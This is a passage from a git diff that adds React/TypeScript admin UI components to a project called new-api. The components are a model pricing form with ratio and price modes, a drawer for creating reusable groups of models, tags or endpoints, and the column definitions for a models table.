+              ) : (
+                <>
+                  <div className='space-y-4'>
+                    <Label>{t('Input mode')}</Label>
+                    <RadioGroup
+                      value={pricingSubMode}
+                      onValueChange={(value) =>
+                        setPricingSubMode(value as PricingSubMode)
+                      }
+                    >
+                      <div className='flex items-center space-x-2'>
+                        <RadioGroupItem value='ratio' id='ratio' />
+                        <Label htmlFor='ratio' className='font-normal'>
+                          {t('Ratio mode')}
+                        </Label>
+                      </div>
+                      <div className='flex items-center space-x-2'>
+                        <RadioGroupItem value='price' id='price' />
+                        <Label htmlFor='price' className='font-normal'>
+                          {t('Price mode (USD per 1M tokens)')}
+                        </Label>
+                      </div>
+                    </RadioGroup>
+                  </div>
+
+                  {pricingSubMode === 'ratio' ? (
+                    <>
+                      <FormField
+                        control={form.control}
+                        name='ratio'
+                        render={({ field }) => (
+                          <FormItem>
+                            <FormLabel>{t('Model ratio')}</FormLabel>
+                            <FormControl>
+                              <Input
+                                type='text'
+                                placeholder='1.0'
+                                {...field}
+                                onChange={(e) => {
+                                  const value = e.target.value
+                                  if (validateNumber(value)) {
+                                    field.onChange(value)
+                                    if (value) {
+                                      setPromptPrice(
+                                        (parseFloat(value) * 2).toString()
+                                      )
+                                    } else {
+                                      setPromptPrice('')
+                                    }
+                                  }
+                                }}
+                              />
+                            </FormControl>
+                            <FormDescription>
+                              {field.value && !isNaN(parseFloat(field.value))
+                                ? `Calculated price: $${(parseFloat(field.value) * 2).toFixed(4)} per 1M tokens`
+                                : t('Multiplier for prompt tokens.')}
+                            </FormDescription>
+                            <FormMessage />
+                          </FormItem>
+                        )}
+                      />
+
+                      <FormField
+                        control={form.control}
+                        name='completionRatio'
+                        render={({ field }) => (
+                          <FormItem>
+                            <FormLabel>{t('Completion ratio')}</FormLabel>
+                            <FormControl>
+                              <Input
+                                type='text'
+                                placeholder='1.0'
+                                {...field}
+                                onChange={(e) => {
+                                  const value = e.target.value
+                                  if (validateNumber(value)) {
+                                    field.onChange(value)
+                                    const ratio = form.getValues('ratio')
+                                    if (value && ratio) {
+                                      const compPrice =
+                                        parseFloat(ratio) *
+                                        2 *
+                                        parseFloat(value)
+                                      setCompletionPrice(compPrice.toString())
+                                    } else {
+                                      setCompletionPrice('')
+                                    }
+                                  }
+                                }}
+                              />
+                            </FormControl>
+                            <FormDescription>
+                              {field.value &&
+                              !isNaN(parseFloat(field.value)) &&
+                              promptPrice &&
+                              !isNaN(parseFloat(promptPrice))
+                                ? `Calculated price: $${(parseFloat(promptPrice) * parseFloat(field.value)).toFixed(4)} per 1M tokens`
+                                : t('Multiplier for completion tokens.')}
+                            </FormDescription>
+                            <FormMessage />
+                          </FormItem>
+                        )}
+                      />
+                    </>
+                  ) : (
+                    <>
+                      <div className='space-y-4'>
+                        <div className='space-y-2'>
+                          <Label>{t('Prompt price ($/1M tokens)')}</Label>
+                          <Input
+                            type='text'
+                            placeholder='2.0'
+                            value={promptPrice}
+                            onChange={(e) =>
+                              handlePromptPriceChange(e.target.value)
+                            }
+                          />
+                          <p className='text-muted-foreground text-sm'>
+                            {promptPrice && !isNaN(parseFloat(promptPrice))
+                              ? `Calculated ratio: ${(parseFloat(promptPrice) / 2).toFixed(4)}`
+                              : t('Enter Input price to calculate ratio')}
+                          </p>
+                        </div>
+
+                        <div className='space-y-2'>
+                          <Label>{t('Completion price ($/1M tokens)')}</Label>
+                          <Input
+                            type='text'
+                            placeholder='4.0'
+                            value={completionPrice}
+                            onChange={(e) =>
+                              handleCompletionPriceChange(e.target.value)
+                            }
+                          />
+                          <p className='text-muted-foreground text-sm'>
+                            {completionPrice &&
+                            !isNaN(parseFloat(completionPrice)) &&
+                            promptPrice &&
+                            !isNaN(parseFloat(promptPrice)) &&
+                            parseFloat(promptPrice) > 0
+                              ? `Calculated ratio: ${(parseFloat(completionPrice) / parseFloat(promptPrice)).toFixed(4)}`
+                              : t('Enter Completion price to calculate ratio')}
+                          </p>
+                        </div>
+                      </div>
+                    </>
+                  )}
+
+                  <Collapsible
+                    open={advancedOpen}
+                    onOpenChange={setAdvancedOpen}
+                  >
+                    <CollapsibleTrigger asChild>
+                      <Button
+                        type='button'
+                        variant='outline'
+                        className='flex w-full items-center justify-between'
+                      >
+                        {t('Advanced options')}
+                        <ChevronDown
+                          className={`h-4 w-4 transition-transform duration-200 ${
+                            advancedOpen ? 'rotate-180' : ''
+                          }`}
+                        />
+                      </Button>
+                    </CollapsibleTrigger>
+                    <CollapsibleContent className='space-y-6 pt-6'>
+                      <FormField
+                        control={form.control}
+                        name='cacheRatio'
+                        render={({ field }) => (
+                          <FormItem>
+                            <FormLabel>{t('Cache ratio')}</FormLabel>
+                            <FormControl>
+                              <Input
+                                type='text'
+                                placeholder='0.1'
+                                {...field}
+                                onChange={(e) => {
+                                  const value = e.target.value
+                                  if (validateNumber(value)) {
+                                    field.onChange(value)
+                                  }
+                                }}
+                              />
+                            </FormControl>
+                            <FormDescription>
+                              {t('Discount ratio for cache hits.')}
+                            </FormDescription>
+                            <FormMessage />
+                          </FormItem>
+                        )}
+                      />
+
+                      <FormField
+                        control={form.control}
+                        name='imageRatio'
+                        render={({ field }) => (
+                          <FormItem>
+                            <FormLabel>{t('Image ratio')}</FormLabel>
+                            <FormControl>
+                              <Input
+                                type='text'
+                                placeholder='1.0'
+                                {...field}
+                                onChange={(e) => {
+                                  const value = e.target.value
+                                  if (validateNumber(value)) {
+                                    field.onChange(value)
+                                  }
+                                }}
+                              />
+                            </FormControl>
+                            <FormDescription>
+                              {t('Multiplier for image processing.')}
+                            </FormDescription>
+                            <FormMessage />
+                          </FormItem>
+                        )}
+                      />
+
+                      <FormField
+                        control={form.control}
+                        name='audioRatio'
+                        render={({ field }) => (
+                          <FormItem>
+                            <FormLabel>{t('Audio ratio')}</FormLabel>
+                            <FormControl>
+                              <Input
+                                type='text'
+                                placeholder='1.0'
+                                {...field}
+                                onChange={(e) => {
+                                  const value = e.target.value
+                                  if (validateNumber(value)) {
+                                    field.onChange(value)
+                                  }
+                                }}
+                              />
+                            </FormControl>
+                            <FormDescription>
+                              {t('Multiplier for audio inputs.')}
+                            </FormDescription>
+                            <FormMessage />
+                          </FormItem>
+                        )}
+                      />
+
+                      <FormField
+                        control={form.control}
+                        name='audioCompletionRatio'
+                        render={({ field }) => (
+                          <FormItem>
+                            <FormLabel>{t('Audio completion ratio')}</FormLabel>
+                            <FormControl>
+                              <Input
+                                type='text'
+                                placeholder='1.0'
+                                {...field}
+                                onChange={(e) => {
+                                  const value = e.target.value
+                                  if (validateNumber(value)) {
+                                    field.onChange(value)
+                                  }
+                                }}
+                              />
+                            </FormControl>
+                            <FormDescription>
+                              {t('Multiplier for audio outputs.')}
+                            </FormDescription>
+                            <FormMessage />
+                          </FormItem>
+                        )}
+                      />
+                    </CollapsibleContent>
+                  </Collapsible>
+                </>
+              )}
+            </div>
+
+            <Separator />
+
+            {/* Status & Sync */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-semibold'>{t('Status & Sync')}</h3>
+
+              <FormField
+                control={form.control}
+                name='status'
+                render={({ field }) => (
+                  <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                    <div className='space-y-0.5'>
+                      <FormLabel className='text-base'>
+                        {t('Enabled')}
+                      </FormLabel>
+                      <FormDescription>
+                        {t('Enable or disable this model')}
+                      </FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='sync_official'
+                render={({ field }) => (
+                  <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                    <div className='space-y-0.5'>
+                      <FormLabel className='text-base'>
+                        {t('Official Sync')}
+                      </FormLabel>
+                      <FormDescription>
+                        {t('Sync this model with official upstream')}
+                      </FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                  </FormItem>
+                )}
+              />
+            </div>
+          </form>
+        </Form>
+
+        <SheetFooter className='gap-2'>
+          <SheetClose asChild>
+            <Button variant='outline' disabled={isSubmitting}>
+              {t('Cancel')}
+            </Button>
+          </SheetClose>
+          <Button form='model-form' type='submit' disabled={isSubmitting}>
+            {isSubmitting && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {isEditing ? t('Update Model') : t('Save changes')}
+          </Button>
+        </SheetFooter>
+      </SheetContent>
+    </Sheet>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/drawers/prefill-group-form-drawer.tsx b/new-api/web/default/src/features/models/components/drawers/prefill-group-form-drawer.tsx
new file mode 100644
index 0000000..24aa8c4
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/drawers/prefill-group-form-drawer.tsx
@@ -0,0 +1,364 @@
+import { useEffect, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import {
+  Sheet,
+  SheetClose,
+  SheetContent,
+  SheetDescription,
+  SheetFooter,
+  SheetHeader,
+  SheetTitle,
+} from '@/components/ui/sheet'
+import { Textarea } from '@/components/ui/textarea'
+import { JsonEditor } from '@/components/json-editor'
+import { StatusBadge } from '@/components/status-badge'
+import { TagInput } from '@/components/tag-input'
+import { createPrefillGroup, updatePrefillGroup } from '../../api'
+import { ENDPOINT_TEMPLATES } from '../../constants'
+import { prefillGroupsQueryKeys } from '../../lib'
+import {
+  prefillGroupFormSchema,
+  type PrefillGroup,
+  type PrefillGroupFormValues,
+} from '../../types'
+import {
+  DEFAULT_FORM_VALUES,
+  PREFILL_GROUP_TYPE_META,
+  PREFILL_GROUP_TYPES,
+  type PrefillGroupType,
+  parseStringItems,
+  serializeEndpointItems,
+} from '../prefill-group-shared'
+
+type PrefillGroupFormDrawerProps = {
+  open: boolean
+  onClose: () => void
+  currentGroup: PrefillGroup | null
+}
+
+export function PrefillGroupFormDrawer({
+  open,
+  onClose,
+  currentGroup,
+}: PrefillGroupFormDrawerProps) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isEdit = Boolean(currentGroup?.id)
+  const [isSaving, setIsSaving] = useState(false)
+
+  const form = useForm<PrefillGroupFormValues>({
+    resolver: zodResolver(prefillGroupFormSchema),
+    defaultValues: DEFAULT_FORM_VALUES,
+  })
+
+  const selectedType = form.watch('type')
+
+  useEffect(() => {
+    if (open) {
+      if (isEdit && currentGroup) {
+        form.reset({
+          id: currentGroup.id,
+          name: currentGroup.name,
+          description: currentGroup.description || '',
+          type: currentGroup.type,
+          items:
+            currentGroup.type === 'endpoint'
+              ? serializeEndpointItems(currentGroup.items)
+              : parseStringItems(currentGroup.items),
+        })
+      } else {
+        form.reset(DEFAULT_FORM_VALUES)
+      }
+    }
+  }, [open, isEdit, currentGroup, form])
+
+  useEffect(() => {
+    const currentItems = form.getValues('items')
+    if (selectedType === 'endpoint' && Array.isArray(currentItems)) {
+      form.setValue('items', '', { shouldValidate: false })
+    } else if (
+      selectedType !== 'endpoint' &&
+      typeof currentItems === 'string'
+    ) {
+      form.setValue('items', [], { shouldValidate: false })
+    }
+  }, [selectedType, form])
+
+  const handleOpenChange = (nextOpen: boolean) => {
+    if (!nextOpen) {
+      onClose()
+    }
+  }
+
+  const handleSubmit = async (values: PrefillGroupFormValues) => {
+    setIsSaving(true)
+    const payload = {
+      name: values.name.trim(),
+      type: values.type,
+      description: values.description?.trim() || '',
+      items:
+        values.type === 'endpoint'
+          ? typeof values.items === 'string'
+            ? values.items
+            : ''
+          : Array.isArray(values.items)
+            ? values.items
+            : [],
+    }
+
+    try {
+      const response = isEdit
+        ? await updatePrefillGroup({
+            id: currentGroup!.id,
+            ...payload,
+          })
+        : await createPrefillGroup(payload)
+
+      if (response.success) {
+        toast.success(
+          isEdit ? 'Prefill group updated' : 'Prefill group created'
+        )
+        queryClient.invalidateQueries({
+          queryKey: prefillGroupsQueryKeys.lists(),
+        })
+        onClose()
+      } else {
+        toast.error(response.message || 'Operation failed')
+      }
+    } catch (err: unknown) {
+      toast.error((err as Error)?.message || 'Operation failed')
+    } finally {
+      setIsSaving(false)
+    }
+  }
+
+  const meta =
+    PREFILL_GROUP_TYPE_META[selectedType] || PREFILL_GROUP_TYPE_META.model
+
+  return (
+    <Sheet open={open} onOpenChange={handleOpenChange}>
+      <SheetContent className='flex w-full flex-col sm:max-w-2xl'>
+        <SheetHeader className='text-start'>
+          <SheetTitle>
+            {isEdit ? t('Edit Prefill Group') : t('Create Prefill Group')}
+          </SheetTitle>
+          <SheetDescription>
+            {isEdit
+              ? t('Update the reusable bundle below.')
+              : t('Capture a reusable bundle of models, tags, or endpoints.')}
+          </SheetDescription>
+        </SheetHeader>
+
+        <Form {...form}>
+          <form
+            id='prefill-group-form'
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='flex-1 space-y-6 overflow-y-auto px-4'
+          >
+            <div className='space-y-4'>
+              <div className='space-y-1'>
+                <h3 className='text-sm font-semibold'>{t('Group details')}</h3>
+                <p className='text-muted-foreground text-sm'>
+                  {t(
+                    'Give the group a recognizable name and optional description.'
+                  )}
+                </p>
+              </div>
+
+              <FormField
+                control={form.control}
+                name='name'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Group Name')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('Premium chat models')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Give this group a recognizable name.')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='description'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Description')}</FormLabel>
+                    <FormControl>
+                      <Textarea
+                        placeholder={t(
+                          'Optional notes about when to use this group'
+                        )}
+                        rows={3}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Make it easier for teammates to pick the right group.'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Separator />
+
+            <div className='space-y-4'>
+              <div className='space-y-1'>
+                <h3 className='text-sm font-semibold'>{t('Configuration')}</h3>
+                <p className='text-muted-foreground text-sm'>
+                  {t('Choose the bundle type and define the items inside it.')}
+                </p>
+              </div>
+
+              <FormField
+                control={form.control}
+                name='type'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>Group Type</FormLabel>
+                    <Select
+                      value={field.value}
+                      onValueChange={(value: PrefillGroupType) =>
+                        field.onChange(value)
+                      }
+                    >
+                      <FormControl>
+                        <SelectTrigger className='[&_[data-slot=select-value]_[data-prefill-description]]:hidden'>
+                          <SelectValue placeholder={t('Select a group type')} />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {PREFILL_GROUP_TYPES.map((type) => (
+                          <SelectItem key={type.value} value={type.value}>
+                            <div className='flex flex-col text-left'>
+                              <span className='font-medium'>{type.label}</span>
+                              <span
+                                data-prefill-description
+                                className='text-muted-foreground text-xs'
+                              >
+                                {type.description}
+                              </span>
+                            </div>
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                    <FormDescription>
+                      {t('Determines how this group is applied elsewhere.')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <div className='space-y-2 rounded-lg border p-4'>
+                <div className='flex items-center gap-2'>
+                  <h4 className='text-sm font-medium'>{t('Project')}</h4>
+                  <StatusBadge
+                    label={meta.label}
+                    variant={meta.badge}
+                    size='sm'
+                    copyable={false}
+                  />
+                </div>
+                <FormField
+                  control={form.control}
+                  name='items'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel className='sr-only'>{t('Items')}</FormLabel>
+                      <FormControl>
+                        {selectedType === 'endpoint' ? (
+                          <JsonEditor
+                            value={(field.value as string) || ''}
+                            onChange={field.onChange}
+                            keyPlaceholder='provider'
+                            valuePlaceholder='{"path": "/v1/...","method": "POST"}'
+                            keyLabel={t('Provider')}
+                            valueLabel={t('Endpoint config')}
+                            valueType='any'
+                            template={ENDPOINT_TEMPLATES}
+                            emptyMessage={t(
+                              'Define endpoint mappings for each provider.'
+                            )}
+                          />
+                        ) : (
+                          <TagInput
+                            value={
+                              Array.isArray(field.value) ? field.value : []
+                            }
+                            onChange={field.onChange}
+                            placeholder={t('Enter a value and press Enter')}
+                          />
+                        )}
+                      </FormControl>
+                      <FormDescription>
+                        {selectedType === 'endpoint'
+                          ? t(
+                              'Provide a JSON object where each key maps to an endpoint definition.'
+                            )
+                          : t('Add each model or tag you want to include.')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+            </div>
+          </form>
+        </Form>
+
+        <SheetFooter className='gap-2'>
+          <SheetClose asChild>
+            <Button type='button' variant='outline' disabled={isSaving}>
+              {t('Cancel')}
+            </Button>
+          </SheetClose>
+          <Button type='submit' form='prefill-group-form' disabled={isSaving}>
+            {isSaving && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {isSaving
+              ? t('Saving...')
+              : isEdit
+                ? t('Save changes')
+                : t('Create')}
+          </Button>
+        </SheetFooter>
+      </SheetContent>
+    </Sheet>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/models-columns.tsx b/new-api/web/default/src/features/models/components/models-columns.tsx
new file mode 100644
index 0000000..5a16b57
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/models-columns.tsx
@@ -0,0 +1,599 @@
+import { type ColumnDef } from '@tanstack/react-table'
+import { useTranslation } from 'react-i18next'
+import { formatTimestampToDate } from '@/lib/format'
+import { getLobeIcon } from '@/lib/lobe-icon'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { DataTableColumnHeader } from '@/components/data-table/column-header'
+import { StatusBadge } from '@/components/status-badge'
+import {
+  getModelStatusConfig,
+  getNameRuleConfig,
+  getQuotaTypeConfig,
+} from '../constants'
+import { parseModelTags, formatEndpointsDisplay } from '../lib'
+import type { Model, Vendor } from '../types'
+import { DataTableRowActions } from './data-table-row-actions'
+import { DescriptionCell } from './description-cell'
+
+/**
+ * Render limited items with "and X more" indicator
+ */
+function renderLimitedItems(
+  items: React.ReactNode[],
+  maxDisplay: number = 2
+): React.ReactNode {
+  if (items.length === 0)
+    return <span className='text-muted-foreground text-xs'>-</span>
+
+  const displayed = items.slice(0, maxDisplay)
+  const remaining = items.length - maxDisplay
+
+  return (
+    <div className='flex max-w-full items-center gap-1 overflow-x-auto'>
+      {displayed}
+      {remaining > 0 && (
+        <StatusBadge
+          label={`+${remaining}`}
+          variant='neutral'
+          size='sm'
+          copyable={false}
+          className='flex-shrink-0'
+        />
+      )}
+    </div>
+  )
+}
+
+/**
+ * Generate models columns configuration
+ */
+export function useModelsColumns(vendors: Vendor[] = []): ColumnDef<Model>[] {
+  const { t } = useTranslation()
+
+  // Get translated configs
+  const NAME_RULE_CONFIG = getNameRuleConfig(t)
+  const MODEL_STATUS_CONFIG = getModelStatusConfig(t)
+  const QUOTA_TYPE_CONFIG = getQuotaTypeConfig(t)
+
+  const vendorMap: Record<number, Vendor> = {}
+  vendors.forEach((v) => {
+    vendorMap[v.id] = v
+  })
+
+  return [
+    // Checkbox column
+    {
+      id: 'select',
+      header: ({ table }) => (
+        <Checkbox
+          checked={
+            table.getIsAllPageRowsSelected() ||
+            (table.getIsSomePageRowsSelected() && 'indeterminate')
+          }
+          onCheckedChange={(value) => table.toggleAllPageRowsSelected(!!value)}
+          aria-label='Select all'
+        />
+      ),
+      cell: ({ row }) => (
+        <Checkbox
+          checked={row.getIsSelected()}
+          onCheckedChange={(value) => row.toggleSelected(!!value)}
+          aria-label='Select row'
+        />
+      ),
+      enableSorting: false,
+      enableHiding: false,
+      size: 40,
+    },
+
+    // ID column
+    {
+      accessorKey: 'id',
+      meta: { label: t('ID'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title='ID' />
+      ),
+      cell: ({ row }) => {
+        const id = row.getValue('id') as number
+        return (
+          <StatusBadge
+            label={String(id)}
+            variant='neutral'
+            copyText={String(id)}
+            size='sm'
+            className='font-mono'
+          />
+        )
+      },
+      size: 80,
+    },
+
+    // Icon column
+    {
+      accessorKey: 'icon',
+      meta: { label: t('Icon'), mobileHidden: true },
+      header: t('Icon'),
+      cell: ({ row }) => {
+        const model = row.original
+        const iconKey =
+          model.icon ||
+          vendorMap[model.vendor_id || 0]?.icon ||
+          model.model_name?.[0] ||
+          'N'
+        const icon = getLobeIcon(iconKey, 20)
+
+        return <div className='flex items-center justify-center'>{icon}</div>
+      },
+      size: 70,
+      enableSorting: false,
+    },
+
+    // Model Name column
+    {
+      accessorKey: 'model_name',
+      meta: { label: t('Model Name'), mobileTitle: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Model Name')} />
+      ),
+      cell: ({ row }) => {
+        const name = row.getValue('model_name') as string
+        return (
+          <StatusBadge
+            label={name}
+            variant='neutral'
+            copyText={name}
+            size='sm'
+            className='font-mono'
+          />
+        )
+      },
+      minSize: 200,
+    },
+
+    // Name Rule column
+    {
+      accessorKey: 'name_rule',
+      meta: { label: t('Match Type') },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Match Type')} />
+      ),
+      cell: ({ row }) => {
+        const rule = row.getValue('name_rule') as 0 | 1 | 2 | 3
+        const model = row.original
+        const config = NAME_RULE_CONFIG[rule]
+
+        let label = config.label
+        if (rule !== 0 && model.matched_count) {
+          label = `${config.label} (${model.matched_count})`
+        }
+
+        const badge = (
+          <StatusBadge
+            label={label}
+            variant={
+              (config.color === 'error' ? 'danger' : config.color) as
+                | 'neutral'
+                | 'success'
+                | 'warning'
+                | 'danger'
+                | 'info'
+            }
+            size='sm'
+          />
+        )
+
+        // Show tooltip with matched models for non-exact rules
+        if (
+          rule !== 0 &&
+          model.matched_models &&
+          model.matched_models.length > 0
+        ) {
+          const matchedBadges = model.matched_models.map((m, idx) => (
+            <StatusBadge key={idx} label={m} autoColor={m} size='sm' />
+          ))
+
+          return (
+            <TooltipProvider>
+              <Tooltip>
+                <TooltipTrigger asChild>
+                  <div>{badge}</div>
+                </TooltipTrigger>
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{matchedBadges}</div>
+                </TooltipContent>
+              </Tooltip>
+            </TooltipProvider>
+          )
+        }
+
+        return badge
+      },
+      size: 140,
+      enableSorting: false,
+    },
+
+    // Status column
+    {
+      accessorKey: 'status',
+      meta: { label: t('Status'), mobileBadge: true },
+      header: t('Status'),
+      cell: ({ row }) => {
+        const status = row.getValue('status') as number
+        const config =
+          MODEL_STATUS_CONFIG[status as 0 | 1] || MODEL_STATUS_CONFIG[0]
+
+        return (
+          <StatusBadge
+            label={config.label}
+            variant={config.variant}
+            showDot={config.showDot}
+            size='sm'
+            copyable={false}
+          />
+        )
+      },
+      filterFn: (row, id, value) => {
+        if (!value || value.length === 0 || value.includes('all')) return true
+        const status = row.getValue(id) as number
+        if (value.includes('enabled')) return status === 1
+        if (value.includes('disabled')) return status !== 1
+        return false
+      },
+      size: 120,
+      enableSorting: false,
+    },
+
+    // Vendor column
+    {
+      accessorKey: 'vendor_id',
+      meta: { label: t('Vendor') },
+      header: t('Vendor'),
+      cell: ({ row }) => {
+        const vendorId = row.getValue('vendor_id') as number
+        const vendor = vendorMap[vendorId]
+
+        if (!vendor) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const icon = vendor.icon ? getLobeIcon(vendor.icon, 14) : null
+
+        return (
+          <div className='flex items-center gap-1.5'>
+            {icon}
+            <StatusBadge
+              label={vendor.name}
+              autoColor={vendor.name}
+              size='sm'
+            />
+          </div>
+        )
+      },
+      filterFn: (row, id, value) => {
+        if (!value || value.length === 0 || value.includes('all')) return true
+        return value.includes(String(row.getValue(id)))
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Description column
+    {
+      accessorKey: 'description',
+      meta: { label: t('Description'), mobileHidden: true },
+      header: t('Description'),
+      cell: ({ row }) => {
+        const description = row.getValue('description') as string
+        const modelName = row.getValue('model_name') as string
+
+        return (
+          <DescriptionCell modelName={modelName} description={description} />
+        )
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Tags column
+    {
+      accessorKey: 'tags',
+      meta: { label: t('Tags'), mobileHidden: true },
+      header: t('Tags'),
+      cell: ({ row }) => {
+        const tags = row.getValue('tags') as string
+        const tagArray = parseModelTags(tags)
+
+        if (tagArray.length === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const tagBadges = tagArray.map((tag, idx) => (
+          <StatusBadge key={idx} label={tag} autoColor={tag} size='sm' />
+        ))
+
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <div>{renderLimitedItems(tagBadges, 2)}</div>
+              </TooltipTrigger>
+              {tagArray.length > 2 && (
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{tagBadges}</div>
+                </TooltipContent>
+              )}
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Endpoints column
+    {
+      accessorKey: 'endpoints',
+      meta: { label: t('Endpoints'), mobileHidden: true },
+      header: t('Endpoints'),
+      cell: ({ row }) => {
+        const endpoints = row.getValue('endpoints') as string
+        const endpointArray = formatEndpointsDisplay(endpoints)
+
+        if (endpointArray.length === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const endpointBadges = endpointArray.map((ep, idx) => (
+          <StatusBadge key={idx} label={ep} autoColor={ep} size='sm' />
+        ))
+
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <div>{renderLimitedItems(endpointBadges, 2)}</div>
+              </TooltipTrigger>
+              {endpointArray.length > 2 && (
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{endpointBadges}</div>
+                </TooltipContent>
+              )}
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Bound Channels column
+    {
+      accessorKey: 'bound_channels',
+      meta: { label: t('Bound Channels'), mobileHidden: true },
+      header: t('Bound Channels'),
+      cell: ({ row }) => {
+        const channels = row.getValue('bound_channels') as Array<{
+          id: number
+          name: string
+          type?: number
+          status?: number
+        }>
+
+        if (!channels || channels.length === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const channelBadges = channels.map((c, idx) => (
+          <StatusBadge
+            key={idx}
+            label={`${c.name} (${c.type})`}
+            autoColor={c.name}
+            size='sm'
+          />
+        ))
+
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <div>{renderLimitedItems(channelBadges, 2)}</div>
+              </TooltipTrigger>
+              {channels.length > 2 && (
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{channelBadges}</div>
+                </TooltipContent>
+              )}
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Enable Groups column
+    {
+      accessorKey: 'enable_groups',
+      meta: { label: t('Enable Groups'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Enable Groups')} />
+      ),
+      cell: ({ row }) => {
+        const groups = row.getValue('enable_groups') as string[]
+
+        if (!groups || groups.length === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const groupBadges = groups.map((g, idx) => (
+          <StatusBadge key={idx} label={g} autoColor={g} size='sm' />
+        ))
+
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <div>{renderLimitedItems(groupBadges, 2)}</div>
+              </TooltipTrigger>
+              {groups.length > 2 && (
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{groupBadges}</div>
+                </TooltipContent>
+              )}
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Quota Types column
+    {
+      accessorKey: 'quota_types',
+      meta: { label: t('Quota Types'), mobileHidden: true },
+      header: t('Quota Types'),
+      cell: ({ row }) => {
+        const quotaTypes = row.getValue('quota_types') as number[]
+
+        if (!quotaTypes || quotaTypes.length === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const quotaBadges = quotaTypes.map((qt, idx) => {
+          const config = QUOTA_TYPE_CONFIG[qt]
+          return (
+            <StatusBadge
+              key={idx}
+              label={config?.label || String(qt)}
+              variant={
